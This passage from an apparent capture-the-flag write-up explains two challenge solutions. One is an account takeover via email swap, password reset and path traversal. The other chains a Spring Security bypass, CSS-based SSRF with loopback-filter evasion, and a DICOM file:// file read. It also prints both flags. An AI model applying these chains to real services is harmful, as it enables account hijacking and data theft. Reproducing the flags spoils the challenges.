The core vulnerability of this problem lies in the hidden Email Change API. Using keyword analysis of email and role change APIs from requests like /api/auth/secure/users/redacted, /api/auth/secure/users/email endpoint is identified. The email change API accepts requests encrypted by AES-GCM, allowing changing an arbitrary user's email based on the request body containing userId and companyId.
First, analyze the frontend's encryption logic. The key for AES-256-GCM encryption is derived using PBKDF2-SHA256, and AAD (Additional Authenticated Data) includes request method, path, and user ID.
The email swap attack procedure is as follows.
Change your own email to a temporary address: Detach the existing email.
Change contract_ops@enki.co.kr email to your own registered email: The internal staff account's email is set to the attacker's email.
STEP 5. Resetting the Password of the internal_ops Account
Now that the internal staff account's email is set to the attacker's email, the password reset feature can be used. An OTP verified reset request issues a resetToken, allowing the setting of a new password.
STEP 6. Logging into the internal_ops Account
Login to the internal staff account with the reset password. An OTP is required for login, which succeeds as the attacker's OTP key is already registered.
STEP 7. Gathering internal_admin Information
Accessing the audit logs API with internal staff privileges reveals the target_id of the internal admin account.
STEPs 8~9. Hijacking the internal_admin Account
Repeat the same email swap and password reset procedures on the internal_admin account as in Steps 4~5. However, email changes can only be performed from a collaborative account with admin privileges, thus, requests must be made using the token from the initially registered account. Note the rate limiting that requires a 60-second wait.
STEP 10. Logging into internal_admin
Log into the internal_admin account to obtain token and userKeySeed.
STEP 11. Obtaining the Flag — File Download
Use the file download API /api/contracts/attachments/download, which only functions under internal admin privileges, to read the flag file. Since the API applies specific string filtering techniques, bypass this by applying Path Traversal to access /flag.txt.
Finally, the flag ENKI{6fab7762f935fe71629b482c285c7691} can be obtained.
Comprehensive Evaluation
This problem focuses more on business logic vulnerabilities (account hijacking via email swap) than on technical vulnerabilities (Path Traversal, CAPTCHA bypass). Though multi-factor authentication (OTP) and client-side encryption (AES-GCM) are implemented, it demonstrates that a single logical flaw, such as the absence of authorization check on the Email Change API, can undermine the entire authentication framework. It provides the lesson that encryption communication or MFA should not solely determine security; each API's business logic must undergo permission verification.
sfa
A medical robot Sales Force Automation system.
Vulnerability Classification
Spring Security method security bypass (CVE-2025-41248), SSRF (Server-Side Request Forgery), Local File Inclusion (LFI) using DICOM BulkDataURI
Author's Intent
This question was designed to assess the ability to construct an attack chain by combining framework-level security vulnerabilities that can be found in Java/Spring-based enterprise applications and parsing vulnerabilities of the DICOM format, which is specialized for the medical domain.
Spring Security Method Security Bypass (CVE-2025-41248): Identifies method security application omissions occurring in Java generics and inheritance structures, and evaluates whether it is possible to access administrator functions with general user permissions.
Access to internal functions via SSRF: Performs SSRF using CSS during the
wkhtmltoimagerendering process and evaluates whether it is possible to bypass loopback protection through URL parser confusion.Parsing vulnerability of DICOM JSON Model DataFragment: Analyzes the differences in
BulkDataURIhandling of dcm4che to find aDataFragmentpath with no security hooks applied and verifies whether local files can be read using it.
Solution
1. Understanding the Service Structure
Analyzing the provided source code (Docker configuration), the following configuration can be confirmed.
Spring Boot Web Application (port 3000): Medical Robot Sales Force Automation (SFA) System
wkhtmltoimage: Rendering tool for converting HTML to images (operates on Xvfb)
A function to convert DICOM JSON into
.dcmfilesThe flag is located at
/tmp/flagin the container (70 bytes)
Key features include login, exporting images (/file/export_card), and converting DICOM files (/file/convert_medical).
2. Step 1 — CVE-2025-41248: Spring Security Method Security Bypass
The /file/export_card controller only checks for login status and relies on @PreAuthorize("hasRole('ADMIN')") in the service method for real administrator restriction. The type hierarchy of the issue is as follows.
Here, convertToImage() only has a security annotation on the top-level interface, and the actual implementation inherits it indirectly through a generic inheritance structure. CVE-2025-41248 indicates that due to this parameterized type hierarchy, Spring Security's annotation detection may not function correctly, leading to a method security lapse.
As a result, even an account like user1 with ROLE_USER can call the export_card function, which was originally meant only for administrators.
3. Step 2 — SSRF: Loopback Bypass
The export_card API uses wkhtmltoimage to render HTML into images. In this process, the @import url(...) statement in CSS is processed, allowing server-side requests to arbitrary URLs.
The application attempts to block loopback addresses like localhost and 127.0.0.1 through a sanitizer, but this check assesses only direct loopback literals without strictly parsing the URL authority. Thus, it can be bypassed using the following URL parser confusion technique.
%5Bis URL encoding for[.HtmlSanitizerparses the host asexample.com, allowing it to pass the loopback block.The actual HTTP client recognizes the part before
@as userinfo and127.0.0.1:3000as the host, sending the request to the loopback.
This SSRF resets the password for the admin account.
After resetting the password, log in with the admin account.
4. Step 3 — LFI via DICOM DataFragment BulkDataURI
The /file/convert_medical endpoint accessible with admin rights converts JSON to DICOM files. It internally uses the JSONReader from the dcm4che library.
dcm4che supports the BulkDataURI field according to the DICOM JSON Model spec, and using the file:// scheme allows reading local files. However, application code registers a resolver via setBulkDataCreator() that only permits http: and https: schemes, blocking top-level BulkDataURI.
Bypass Path — DataFragment:
The DataFragment processing path in dcm4che's JSONReader directly creates new BulkData(...), bypassing the setBulkDataCreator() hook. In the DICOM JSON Model spec, DataFragment represents the structure of encapsulated pixel data.
DataFragment Structure Explanation:
DataFragment[0]= Basic Offset Table (null for single frame)DataFragment[1+]= Actual data fragments (InlineBinaryorBulkDataURI)
Using null is necessary because dcm4che's JSONReader consumes the first array element as the offset table. Without null, BulkDataURI would be mistakenly processed as the offset table.
Additionally, dcm4che's BulkData class parses offset and length query parameters from the URI. Since the flag in the problem is 70 bytes long, it must be specified as length=70 to read the entire content.
5. Executing the Exploit
The full automated exploit is as follows.
The flag ENKI{70fdfaf2d4f48c8afc9de13c4c92ea02b4afc1a1d73a13e581024546e2cee53b} can be extracted from the downloaded DICOM file.
Overall Evaluation
This task is designed not just to discover a single vulnerability but to analyze the service structure and link different types of vulnerabilities in stages to reach the final target. Initially, it involves identifying the exposed features and access control structure from general user permissions, and based on that, achieving access to administrator-only features through Spring Security method security bypass to continue to the next step.
The core intent is to link framework-level privilege bypasses, SSRF during the rendering process, and DICOM parser's DataFragment processing flaws into one chain. Just knowing individual vulnerabilities is not enough; it requires analyzing application logic, internal function calls, and library details to complete the real attack path.

Popular Articles







